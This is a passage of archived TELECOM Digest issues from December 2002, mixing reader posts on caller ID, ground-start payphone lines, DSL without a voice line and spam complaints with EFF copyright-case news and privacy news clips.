really busy right now, on the one hand trying to put the X back in Xmas, and on the other, trying to get Mothers who use Pulse Dialing out of Cheapness to put money in my Salvation Army pot this week and next. Maybe someone who goes to look at your site will read it to me and tell me what you/it are all about. PAT] ------------------------------ From: alex@nexspace.com (Alex Kasper) Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: 20 Dec 2002 17:53:30 -0800 Organization: http://groups.google.com/ We certainly do get incoming CLID for foreign countries. I get France, England, Germany -- and most of Western Europe -- anyone with an SS7 connection. As for your box, it wouldn't be that hard to build, but because Caller ID information is so easy to spoof it wouldn't offer much security. I can call you 'from' anyone or any country, and if you trust that information for verification you need to rethink your security model. AK ------------------------------ From: alex@nexspace.com (Alex Kasper) Subject: Re: Ground-Start Lines (was Coin Collect and Return) Date: 20 Dec 2002 18:28:49 -0800 Organization: http://groups.google.com/ Another use for groundstart lines I have seen is as a cheap ACD for Telethon rooms. (i.e. Jerry Lewis). You just order a bunch of groundstart lines in circular hunt and hook them up to 500 sets. The operators will never get a dial tone, and on some C.O switches you can just stay off hook after the caller hangs up. You'll hear a clunk and the next caller will be there. I know Henry Cabot III used to do this in the 70's with an AE880 speakerphone on his desk. He would just leave it ""off hook."" I would call the number, hear a clunk and I could yell to him wherever he might be in the office and he could yell back. No doubt, a very crude form of off-hook call announce -- it worked well though, and it didn't require a PBX! AK ------------------------------ Subject: Re: Last Laugh! A Lesson in Modern Electronics Date: Fri, 20 Dec 2002 17:14:12 EST From: Someone [Not for publication in the Digest/newsgroup, unless you really want to] > [TELECOM Digest Editor's Note: This *old* story was first printed here > in the Digest back about 1983 or so ... then a few more times over the > years until around 1990 or so when I retired it from use for what I > felt were good reasons...] Not to mention (d) Winnipeg still is not in Ontario. ------------------------------ From: Joey Lindstrom Date: Fri, 20 Dec 2002 11:16:47 -0700 Subject: *****SPAM***** Season's Best -- Another Last Laugh Reply-To: joey@telussucks.info [TELECOM Digest Editor's Note: Poor Joey. Even his holiday greeting cards get treated as spam and tossed out unopened. Look at what I found by poking through the bit bucket this evening. It may have been the word 'suck' to which SpamAssassin took such umbrage. PAT] SPAM: -------------------- Start SpamAssassin results ---------------------- SPAM: This mail is probably spam. The original message has been altered SPAM: so you can recognise or block similar unwanted mail in future. SPAM: See http://spamassassin.org/tag/ for more details. SPAM: SPAM: Content analysis details: (7.00 hits, 5 required) SPAM: TO_ADDRESS_EQ_REAL (2.1 points) To: repeats address as real name SPAM: NO_OBLIGATION (1.5 points) BODY: There is no obligation. SPAM: SPAM_PHRASE_00_01 (0.6 points) BODY: Spam phrases score is 00 SPAM: [score: 0] to 01 (low) SPAM: PORN_4 (2.8 points) URI: URL uses words and phrases SPAM: which indicate porn. SPAM: SPAM: ------------------ End of SpamAssassin results --------------------- SPAM: In the spirit of the Royal Canadian Mint, The Gap, The City Of Toronto, and a myriad of other groups that would have us remove the ""Christ"" from ""Christmas"", I wish to offer the following: Please accept with no obligation, implied or implicit, my best wishes for an environmentally conscious, socially responsible, low stress, non-addictive, gender neutral celebration of the winter solstice holiday, practiced within the most enjoyable traditions of the religious persuasion of your choice, or secular practices of your choice, with respect for the religious/secular persuasions and/or traditions of others, or their choice not to practice religious or secular traditions at all ... and a fiscally successful, personally fulfilling, and medically uncomplicated recognition of the onset of the generally accepted Gregorian calendar year 2003, but not without due respect for the calendars of choice of other cultures (Incan, Myan, and more) whose contributions to society have helped make Canada great (not to imply that Canada is necessarily greater than any other country or area of choice or any other such distinction that is mutually agreeable to be discussed), and without regard to the race, creed, colour, age, physical ability, religious faith, or sexual orientation of the wisher or wishee. This wish is limited to the customary and usual good tidings for a period of one year, or until the issuance of a subsequent holiday greetings, whichever comes first. ""Holiday"" is not intended to, nor shall it be considered, limited to the usual Judeo-Christian celebrations or observances, or to such activities of any organized or ad hoc religious community, group, individual, or belief (or lack thereof). Note: By accepting this greeting, you are accepting these terms. This greeting is subject to clarification or withdrawal, and is revocable at the sole discretion of the wisher at any time, for any reason or for no reason at all. This greeting is freely transferable with no alteration to the original greeting. This greeting implies no promise by the wisher to actually implement any of the wishes for the wisher her/himself or others, or responsibility for the consequences which may arise from the implementation or non-implementation of same. This greeting is void where prohibited by law or by age limitations. Not responsible for overconsumption of beverages or food substances. Oh what the heck, let me get in trouble ... have a MERRY CHRISTMAS and a HAPPY NEW YEAR ! -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info [TELECOM Digest Editor's Note: And you as well, Joey! PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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End of TELECOM Digest V22 #203 ****************************** >From editor@telecom-digest.org Sat Dec 21 23:44:52 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBM4iqn12920; Sat, 21 Dec 2002 23:44:52 -0500 (EST) Date: Sat, 21 Dec 2002 23:44:52 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212220444.gBM4iqn12920@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #204 TELECOM Digest Sat, 21 Dec 2002 23:45:00 EST Volume 22 : Issue 204 Inside This Issue: Editor: Patrick A. Townson EFFector 15.40: Hollywood Loses Again in ReplayTV Case (Monty Solomon) Providing DSL Service Without Any POTS? (Phil Earnhardt) Re: Error Paying Attention to Internet Seer (John R. Levine) Re: The Spam From Internet Seer (Charles B. Wilber) Re: SBC Ameritech Hosed Me and Now I Get Even (Steven J. Sobol) Re: SBC Ameritech Hosed Me and Now I Get Even (joe@obilivan.net) Re: ARPA ... The 20th Anniversary of the Internet (Jim Fleming) Web Security Plan Won't Invade Privacy - White House (Monty Solomon) Some Companies Will Release Customer Records on Request (Monty Solomon) GILC Alert v6i8 (Monty Solomon) Is That a TiVo Under the Tree? (Monty Solomon) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Fri, 20 Dec 2002 23:00:00 -0500 From: Monty Solomon Subject: EFFector 15.40: Hollywood Loses Again in ReplayTV Case http://www.eff.org/effector/HTML/effect15.40.html EFFector Online Newsletter EFFector Vol. 15, No. 40 December 20, 2002 ren@eff.org A Publication of the Electronic Frontier Foundation ISSN 1062-9424 In the 239th Issue of EFFector: * Hollywood Loses Again in ReplayTV Case * Jury Acquits Elcomsoft in eBook Copyright Case - Party at EFF! * EFF Urges Copyright Office to OK Consumer Uses of CDs and DVDs * Deep Links (4): RIAA Statisticians Have Group Hallucination? * Administrivia For more information on EFF activities & alerts: http://www.eff.org/ To join EFF or make an additional donation: http://www.eff.org/support/ EFF is a member-supported nonprofit. Please sign up as a member today! * Hollywood Loses Again in ReplayTV Case Electronic Frontier Foundation Wins Access to Lawsuit Docs Los Angeles - Another federal judge affirmed the right of the Electronic Frontier Foundation (EFF) to represent ReplayTV owners in their lawsuit against 28 motion picture and television industry companies. Craig Newmark of craigslist.org and four other ReplayTV customers are suing the entertainment companies to clarify their rights to record television programs and to skip commercials using digital video recorders (DVRs). Hollywood representatives have publicly stated that skipping commercials is ""stealing."" The ReplayTV customers are represented by EFF attorneys and Ira Rothken of the Rothken Law Firm. The entertainment companies have tried repeatedly to prevent EFF attorneys from accessing documents that the court ordered the companies to produce as part of the legal discovery process. EFF attorneys sought access because they believe these documents are critical to preparing the ReplayTV owners' case. The entertainment companies claimed that EFF is a ""competitor"" with Hollywood because of its public statements about copyright law policy. The ruling sought by the entertainment companies would have effectively disqualified EFF attorneys as legal counsel for the ReplayTV owners in this case. In October, Magistrate Judge Eick ruled in favor of EFF pointing out that the restriction sought ""would impair significantly the prosecution of the Newmark Plaintiffs' claims by effectively preventing attorneys from the Electronic Frontier Foundation from serving as litigation counsel for the Newmark Plaintiffs"" and found that the entertainment companies ""have failed to demonstrate a sufficiently significant disclosure-related risk or danger"" from disclosure of their confidential information by EFF attorneys to justify complete denial of access. The entertainment companies appealed this decision and U.S. District Court Judge Cooper reaffirmed today the earlier ruling in favor of EFF commenting in a written opinion that: ""The Court finds factual support in the record to support the conclusion that EFF attorneys would be precluded from viewing a number of documents that are relevant to the Newmark Plaintiffs' contention that their uses of the RePlayTV DVRs constitute fair use of the Entertainment Companies' copyrighted works."" ""We are pleased that the courts have twice recognized the importance of access to discovery documents in the ReplayTV case,"" said EFF Intellectual Property Attorney Gwen Hinze. ""EFF is now committed to protecting the fair use rights of ReplayTV owners as this case moves forward."" ""Public interest litigation and public advocacy groups like EFF can now breath a sigh of relief,"" added EFF Legal Director Cindy Cohn. ""The entertainment companies were unable to set a precedent for pushing us out of cases litigated in the public interest simply for expressing our views on other matters."" Links: For this release: http://www.eff.org/Cases/Newmark_v_Turner/20021216_eff_pr.html Latest court ruling in Newmark v Turner case: http://www.eff.org/Cases/Newmark_v_Turner/20021216_motion_denied.html More documents from Newmark v Turner case: http://www.eff.org/Cases/Newmark_v_Turner/ EFF Fair Use FAQ: http://www.eff.org/IP/eff_fair_use_faq.html *Jury Acquits Elcomsoft in eBook Copyright Case Dmitry Sklyarov Odyssey Leaves Prosecutor Empty-Handed San Francisco - The highly publicized case that began with the arrest of Russian programmer Dmitry Sklyarov this week came to a close. A federal jury in San Jose recently returned a verdict of not guilty on all counts in the criminal trial of Sklyarov's employer, a Russian software company called Elcomsoft Ltd. The case was the one of the first criminal cases to be brought under the Digital Millennium Copyright Act of 1998 (""DMCA""). ""Today's jury verdict sends a strong message to federal prosecutors who believe that tool makers should be thrown in jail just because a copyright owner doesn't like the tools they build,"" said EFF Senior Intellectual Property Attorney Fred von Lohmann. ""We have said from the beginning that Dmitry Sklyarov, Elcomsoft, and technologists like them are not pirates, and today a jury agreed."" The case began in July 16, 2001, when the FBI arrested Dmitry Sklyarov at the Defcon conference in Las Vegas. Sklyarov was the lead engineer on an Elcomsoft product known as the Advanced eBook Processor (AEBPR), which software giant Adobe Systems Inc. claimed was a ""circumvention tool"" prohibited by the DMCA. * Party at EFF to Celebrate the Victory! On Saturday, December 21, 2002, freedom-loving people will have a party in San Francisco to celebrate a total acquital in the first criminal prosecution under the controversial Digital Millennium Copyright Act (DMCA). Who: Freedom-loving people (that's you) What: Party to celebrate the Elcomsoft verdict Where: Electronic Frontier Foundation 454 Shotwell Street San Francisco CA 94110-1914 USA When: Saturday, December 21, 2002, 8:00 PM Why: DMCA reform isn't just about computer programmers any more. 12 randomly chosen American people say the DMCA has gone too far. Contact: Don Marti dmarti@zgp.org 650-967-1840 Links: For this release: http://www.eff.org/IP/DMCA/US_v_Elcomsoft/20021217_eff_pr.html EFF FAQ on U.S. v. Elcomsoft: http://www.eff.org/IP/DMCA/US_v_Elcomsoft/us_v_elcomsoft_faq.html Larry Lessig editorial about the case in the New York Times: http://www.eff.org/IP/DMCA/US_v_Elcomsoft/20010730_lessig_oped.html EFF Elcomsoft/Sklyarov case archive: http://www.eff.org/IP/DMCA/US_v_Elcomsoft/ * Electronic Frontier Foundation Seeks Consumer Rights Urges Copyright Office to OK Consumer Uses of CDs and DVDs San Francisco - The Electronic Frontier Foundation (EFF) today urged the Librarian of Congress (LoC) to recognize the rights of consumers to skip past commercials on DVDs, view DVDs sold only outside the U.S., and play copy-protected CDs on the players of their choice. EFF has long sought exemptions from the Digital Millennium Copyright Act's (DMCA) prohibition on bypassing technological protections used to limit consumer use of DVDs and copy-protected CDs. Public-interest advocacy organization Public Knowledge joined EFF in filing the comments to the LoC, prepared with the assistance of law students at the Glushko-Samuelson Intellectual Property Clinic of Washington College of Law. EFF asked the LoC to create DMCA exemptions for four types of digital media: 1) music on copy-protected CDs; 2) movies on DVDs whose region coding restrictions prevent playback on U.S. players; 3) movies on DVDs which prevent skipping of commercials; 4) movies in the public domain released on DVD; If granted, these exemptions will allow consumers to make full use of the music and movies that they've lawfully obtained. The entertainment industry encodes DVDs by region sold in an attempt to control release and pricing of movies sold worldwide. Region 1 includes the United States. ""Many great films are available only outside the U.S.,"" said EFF Staff Attorney Gwen Hinze. ""We urge the LoC to allow film buffs to play movies they've legitimately purchased outside the U.S. without fear of breaking the law."" The recent distribution of ""copy-protected"" CDs has made some CDs unplayable on PCs and DVD players. ""The music industry intends to stop copying, but the copy-protected CDs they sell are completely unplayable in many PCs and newer disc players,"" said EFF Senior Intellectual Property Attorney Fred von Lohmann. ""When I buy a CD, I should at least be able to play it on my CD players."" The LoC has called for comments as part of a triennial process of granting exemptions to the anti-circumvention provisions of the DMCA. Legislators charged the LoC and the U.S. Copyright Office with reviewing the effect of the anti-circumvention provisions on the public's ability to make non-infringing uses of copyrighted works secured by digital protection technologies. This rulemaking procedure allows the LoC and the Copyright Office to grant limited three-year exemptions to the DMCA's blanket prohibition on bypassing technological protection measures. In that way, users could access particular classes of copyrighted works that are protected by digital protection mechanisms. Links: For this release: http://www.eff.org/IP/DMCA/20021218_eff_dmca_reply_pr.html EFF comments to Librarian of Congress and U.S. Copyright Office: http://www.eff.org/IP/DMCA/20021218_eff_dmca_reply_comments.html U.S. Copyright Office Notice of Rulemaking: http://www.copyright.gov/1201/ EFF prior comments to LoC and U.S. Copyright Office in 2000: http://www.eff.org/IP/DMCA/20000331_eff_dmca_reply_comments.html ""How to Win (DMCA) Exemptions and Influence Policy"" by Seth Finkelstein: http://www.eff.org/IP/DMCA/finkelstein_on_dmca.html * Deep Links Deep Links features noteworthy news items, victories, and threats from around the Internet. ~ RIAA Statisticians Have Group Hallucination? The RIAA has been complaining about a 10% drop in profits. Gee, it's pretty hard to squeeze a profit out of merchandise you never ship (even when you're gauging retailers), eh Hilary? http://www.theregister.co.uk/content/6/28588.html ~ In with the GNU Radio Salon looks at one of the coolest, most useful, and controversial technologies ever. http://www.salon.com/tech/feature/2002/12/18/gnu_radio/index.html ~ ACLU Award Winners Endorse a Flat Fee for P2P Attorneys Ken Hertz and Fred Goldring tell the content industry to stop going after consumers and focus on the real problem: their outdated, artist-impoverishing business models. http://www.hitsdailydouble.com/news/rumormill.cgi ~ New Zealand May Dodge the DMCA Bullet They're trying to get WIPO-compliant without the collateral damage of the DMCA. http://www.med.govt.nz/buslt/int_prop/digital/position/ * Administrivia EFFector is published by: The Electronic Frontier Foundation 454 Shotwell Street San Francisco CA 94110-1914 USA +1 415 436 9333 (voice) +1 415 436 9993 (fax) http://www.eff.org/ Editor: Ren Bucholz, Activist ren@eff.org To Join EFF online, or make an additional donation, go to: http://www.eff.org/support/ Membership & donation queries: membership@eff.org General EFF, legal, policy or online resources queries: ask@eff.org Reproduction of this publication in electronic media is encouraged. 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To unsubscribe from all mailing lists originating from alerts@action.eff.org, send an email from monty@roscom.com to alerts@action.eff.org with 'Remove' as the only text in the subject line. ------------------------------ From: Phil Earnhardt Subject: Providing DSL Service Without Any POTS? Date: Sat, 21 Dec 2002 01:26:57 -0700 Organization: http://extra.newsguy.com Would it be reasonable to have the PUCs require the RBOCs to provide DSL service to their customers without having POTS on the line? This would be good for cutsomers who had cellphone service and didn't really need an voice line into the house. Don't the cable services offer POTS and cable modem internet access as separate items? Have there been any initiatives to create this class of service? It would seem that it would be beneficial for the cell phone companies to lobby for this ... phil [Who would love to have this service available.] ------------------------------ Date: 21 Dec 2002 12:02:52 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Error Paying Attention to Internet Seer Organization: I.E.C.C., Trumansburg NY USA > I work for InternetSeer, a Web site monitoring company. InternetSeer > is ... ... a bunch of chronic clueless spammers. I've been complaining about their junk for ages. Their alleged service is worthless, since the ""cannot contact"" reports are usually due to failures of their own ISP connection. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ Date: 21 Dec 2002 09:46:05 EST From: Charles.B.Wilber@Dartmouth.EDU (Charles B. Wilber) Subject: Re: More About Internet Seer Spam --- You wrote: > [TELECOM Digest Editor's Note: Does anyone know anything about these > people? It *seems* like a good offer, but I had to pull it out of my > own spam bucket when it arrived here. I am wondering if this is going > to get me a bunch more spam if I agree to their service? Anyone? PAT] --- end of quote --- There's still no free lunch. Sooner or later, you will discover the catch. ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: Sat, 21 Dec 2002 16:16:28 -0000 Organization: JustThe.net LLC 'A. Hackbarth : > You see I am an Independent Representative for North America's Largest > Privately Held Telecom Company ... and with that comes the leverage of > multi million dollar telecommunications contracts. I hate SBC AmeriBlech too, but you lost every last drop of credibility you had with me when you told me that. I have *really* had trouble with AmeriBlech. I suspect you've probably never had to deal with them, and you're just making up a story in order to make money. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: joe@obilivan.net Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: Sat, 21 Dec 2002 17:42:08 GMT Organization: Cox Communications Isn't this a moderated forum? If so, why is junk like this allowed? A. Hackbarth wrote: > Hi, > Because of the way that SBC Ameritech has ignored me I have now made > it my business to put Ameritech out of its ... > If you want to sign up for service or read my story you can go to my > website: > http://www.aaronhackbarth.com > If you work for SBC Ameritech its not your fault, its the way your > business model works. > [TELECOM Digest Editor's Note: Listen, Aaron, I'd like to help you > out, but I am really busy right now, on the one hand trying to put the > X back in Xmas, and on the other, trying to get Mothers who use Pulse > Dialing out of Cheapness to put money in my Salvation Army pot this > week and next. Maybe someone who goes to look at your site will read > it to me and tell me what you/it are all about. PAT] [TELECOM Digest Editor's Note: *It is* a moderated forum, Joe; when you send your one-line 'me too' style response, why did you have to leave the thirty or so lines of the original message attached for me to cut out? Ah, but you should see how much of *his original message* I cut out to start with before using it here. Everyone has their failures in life. Mine is in attempting to be a *good* moderator. PAT] ------------------------------ From: Jim Fleming Subject: Re: ARPA ... The 20th Anniversary of the Internet Date: Sat, 21 Dec 2002 09:20:11 -0600 Sounds like Cerf and Clinton have a lot in common ... http://livinginternet.com/?i/ii_cerf.htm http://www.ietf.org//mail-archive/ietf/Current/msg18601.html From: vinton g. cerf bob is correct; I left ARPA in Oct 1972 to join MCI. ======================================== http://www.ietf.org//mail-archive/ietf/Current/msg18602.html From: Bob Braden In my recent message about the creation of the Internet by the conversion of the ARPAnet from NCP to TCP/IP, I incorrectly named Vint Cerf as the Responsible Parent at ARPA. Actually, the Responsible Parent at ARPA during conversion was Bob Kahn; Vint had left ARPA for MCI before that date. http://livinginternet.com/?i/ii_cerf.htm Cerf and Stanford graduate students Yogen Dalal and Carl Sunshine published the first technical specification of TCP/IP as an Internet Experiment Note (IEN) as RFC 675, in December, 1974. Their design included a 32 bit IP address, with eight bits for identification of a network, and 24 bits for identification of a computer, which provided support for up to 256 networks, each with up to 16,777,216 unique network addresses. ------------------------------ Date: Fri, 20 Dec 2002 22:45:55 -0500 From: Monty Solomon Subject: Web Security Plan Won't Invade Privacy - White House By Andy Sullivan WASHINGTON, Dec 20 (Reuters) - Efforts to bolster Internet security will not lead to increased government scrutiny of individuals' online habits, the White House and industry sources said on Friday. As it finalizes sweeping guidelines that aim to increase cybersecurity, the Bush administration said individual privacy would not be affected by efforts to prevent cyberattacks. ""The administration is not considering a proposal to monitor what individuals do on the Internet,"" a spokesman for the transition to the newly created Department of Homeland Security said. High-tech companies, meanwhile, said they would resist government efforts to get involved in the day-to-day operation of the global computer network. In a set of preliminary guidelines released in September, the White House said high-tech companies that keep an eye on the Internet should combine their efforts and work with the government to better defend against computer viruses, worms and other cyberattacks. The New York Times in its Friday edition reported the White House is planning a bigger government role in the proposed center that could possibly lead to surveillance of individual users. - http://finance.lycos.com/home/news/story.asp?story=30637009 ------------------------------ Date: Fri, 20 Dec 2002 23:08:40 -0500 From: Monty Solomon Subject: Some Companies Will Release Customer Records on Request By JOHN SCHWARTZ Nearly a quarter of the corporate security officers in a survey to be released today said they would supply information about customers to law enforcement officials and government agencies without a court order. If an investigation concerned national security, the figure jumps to 41 percent. ""If you're a customer in somebody's database, you cannot be completely confident that the information you've provided - whatever the business might be - is not going to be shared with law enforcement agencies in the course of their investigations,"" said Lew McCreary, the editor of CSO magazine, which conducted the survey. In the survey of 797 chief security officers (a title commonly abbreviated as C.S.O.) 43 percent said they would require a court order before providing information on customers, employees or partner organizations. The security officers who took part in the survey work in financial, retail, health care and many other fields, and the companies they work for range in size from fewer than 500 employees to more than 30,000. The survey questions do not give a sense of what information might be shared or under what circumstances. The results will provide further fuel for the controversy surrounding issues of privacy and national security since the Sept. 11 terrorist attacks. http://www.nytimes.com/2002/12/18/technology/18RECO.html ------------------------------ Date: Fri, 20 Dec 2002 23:40:26 -0500 From: Monty Solomon Subject: GILC Alert v6i8 GILC Alert Volume 6, Issue 8 20 December 2002 Welcome to the Global Internet Liberty Campaign Newsletter. Welcome to GILC Alert, the newsletter of the Global Internet Liberty Campaign. We are an international organization of groups working for cyber-liberties, who are determined to preserve civil liberties and human rights on the Internet. We hope you find this newsletter interesting, and we very much hope that you will avail yourselves of the action items in future issues. If you are a part of an organization that would be interested in joining GILC, please contact us at . If you are aware of threats to cyber-liberties that we may not know about, please contact the GILC members in your country, or contact GILC as a whole. Please feel free to redistribute this newsletter to appropriate forums. =============================================== Free expression [1] Chinese Net users face enhanced censorware, arrests [2] Russian firm cleared in eBook copyright case [3] Australian high court ruling endangers Net speech [4] Teen Norwegian DVD programmer faces criminal charges [5] ICANN shuns public elections in new bylaws [6] Finnish bill may curb Net chatboard comments [7] Net blockers deny access to important health info [8] Vietnamese Net dissident gets 4 year jail sentence [9] Australian gov't ponders blocking of protest websites [10] Google censors German & French search results [11] Panama tries to block Internet ports [12] Council of Europe adopts Net censorship protocol Privacy [13] US gov't plans Total Informational Awareness spy system [14] Regulators warn Verichip tracking implant maker [15] US appeals court allows easier wiretapping rules [16] Finland gov't data retention stance draws fire [17] Study: British workplace Net monitoring on the rise [18] New rules unveiled for webbug trackers [19] TiVo digital recorder makes mistakes, stereotypes users [20] Court strikes down US gov't virus spy attack [21] US court allow blind police Net searches [22] Swiss Big Brother Awards ceremony held [23] New GILC member: AEL & EFFI http://www.gilc.org/alert/alert68.html ------------------------------ Date: Sat, 21 Dec 2002 11:30:01 -0500 From: Monty Solomon Subject: Is That a TiVo Under the Tree? By Katie Dean Will this be the year that TiVo catches on with a mass audience? Not likely, say analysts. While many users of personal video recorders say they can no longer imagine watching TV sans TiVo, the products have yet to reach a critical mass of consumers. http://www.wired.com/news/holidays/0,1882,56828,00.html ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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End of TELECOM Digest V22 #204 ****************************** >From editor@telecom-digest.org Sun Dec 22 16:46:20 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBMLkKx02174; Sun, 22 Dec 2002 16:46:20 -0500 (EST) Date: Sun, 22 Dec 2002 16:46:20 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212222146.gBMLkKx02174@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #205 TELECOM Digest Sun, 22 Dec 2002 16:46:00 EST Volume 22 : Issue 205 Inside This Issue: Editor: Patrick A. Townson Re: How Do You INSERT CID (Alex Kasper) Re: Call Blocking Box For All Numbers From Given Country? (Linc Madison) Ground Start and Payphones (Mark J Cuccia) Re: SBC Ameritech Hosed Me and Now I Get Even (Loonquawl) Re: SBC Ameritech Hosed Me and Now I Get Even (A. Hackbarth) Question about DID and Caller ID on Non-PRI T1 (Dan Bendell) Going Electronic, Denver Reveals Long-Term Surveillance (Monty Solomon) Pop-Ups Add New Twist (Monty Solomon) Federal Database Spy Site Fading Away (Monty Solomon) Sklyarov Reflects on DMCA Travails (Monty Solomon) Re: Providing DSL Service Without Any POTS? (Ed Ellers) Re: Providing DSL Service Without Any POTS? (Steven J. Sobol) Re: Providing DSL Service Without Any POTS? (John Hines) Hands-Free Headset (Need Modular to 2.5mm Adapter) (Sanjay Punjab) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: alex@nexspace.com (Alex Kasper) Subject: Re: How Do You INSERT CID Date: 21 Dec 2002 13:06:28 -0800 Organization: http://groups.google.com/ This can be done pretty easily. The term you want to search for on Google is ""FSK"" or ""FSK Signaling."" You'll find quite a bit of literature. A number of manufacturers offer test boxes which simulate a Central Office and provide Dial Tone, Ring Tone, Busy, AND send Caller ID they can be had for under $1000.00. See Here: http://www.linesimulators.com/telsim.shtml If you want to do this yourself, check out Teltone.com - they make the chipsets that support this. AK ------------------------------ From: Linc Madison Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: Sat, 21 Dec 2002 13:28:29 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Alex Kasper wrote: > We certainly do get incoming CLID for foreign countries. I get France, > England, Germany -- and most of Western Europe -- anyone with an SS7 > connection. > As for your box, it wouldn't be that hard to build, but because Caller > ID information is so easy to spoof it wouldn't offer much security. > I can call you 'from' anyone or any country, and if you trust that > information for verification you need to rethink your security model. Even if the caller ID is accurate, it would still be difficult to use for blocking a given country, because in the US we often get the caller ID with no indication that it's an international number. I got a call from a Swiss cellphone that showed up as 417-xxx-xxxx-x. If the digit count weren't off, I'd have no way to know it wasn't a call from Missouri. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ Date: Sat, 21 Dec 2002 15:46:39 CST From: Mark J Cuccia Subject: Ground Start and Payphones In TELECOM Digest V22 #203, AK wrote: > Another use for groundstart lines I have seen is as a cheap ACD for > Telethon rooms. (i.e. Jerry Lewis). You just order a bunch of > groundstart lines in circular hunt and hook them up to 500 sets. > The operators will never get a dial tone, and on some C.O switches you > can just stay off hook after the caller hangs up. You'll hear a clunk > and the next caller will be there. > I know Henry Cabot III used to do this in the 70's with an AE880 > speakerphone on his desk. He would just leave it ""off hook."" > I would call the number, hear a clunk and I could yell to him wherever > he might be in the office and he could yell back. No doubt, a very > crude form of off-hook call announce. I can remember when there were still SxS (Step) central offices in New Orleans back in the 1970's and even into the 1980's, and also back then all payphones were still coin-first, ground-start (and telco ONLY, South Central Bell, this was before Greene and COCOT-sleaze!), if I were at a payphone (in a Step office) and was expecting someone to call me back (I had called them, they were in the middle of something else, such as maybe another call, if THEY were in a 1AESS office with Call Waiting) ... I could stay ""off-hook"" without having put a nickel (it eventually went up to dime in Louisiana starting in 1979), and since it was ground-start (coin-first) I would 'hear' some form of battery hum, but no dialtone nor sidetone. When that person called me back, once the connecter switch in my Step central office was ""pulsed over"" to my payphone's final digit, they would just ""klunk in"" to me, offhook! I would have full battery and sidetone, both me and the party calling me back would just ""be there, connected to each other"" ... without any ""ringing""! I assume for the other (non-coin) uses of ground-start lines, such as the speakerphone mentioned above, that if you needed to make an outgoing call, there could be a ""grounding button"" to complete a ""ground"" back to the central office and thus get a dialtone to place the call. I never remember trying to stay off hook on a coin-first ground-start payphone in a #5 Crossbar office, to see if I could get an incoming call to just ""klunk in"". I know that it did _NOT_ work if I stayed offhook at a ground-start coin-first payphone in a 1AESS office though. New Orleans Metro began to convert to Loop-Start Dial-Tone-First (telco) payphones beginning in December 1984, and continuing (office-by-office) until Spring 1985. And different local area jurisdictions began introducing 911 in Summer 1985. This was the stated reason for converting all (telco) payphones to DTF (Loop-Start). And except for the tiny CDO (Community Dial Office) Step offices in the outlying ""exurbs"", the last few ""city"" SxS offices in the New Orleans metro area were cut to 1AESS by 1983, probably just ""in time"" for divestiture. The remaining CDO Step offices in the ""exurbs"" were converted to digital remotes during 1990. But even those small ""exurb"" CDO offices had (telco) dial-tone-first c.o.switch-controlled payphones (AND DTMF/touchtone), beginning in the mid-1980's, by putting some kind of dialed-digit-registers/ pre-translation/ tone-to-pulse conversion circuit packs, between the line-finderes and the first-selector switches. Mark J. Cuccia mcuccia@tulane.edu New Orleans LA 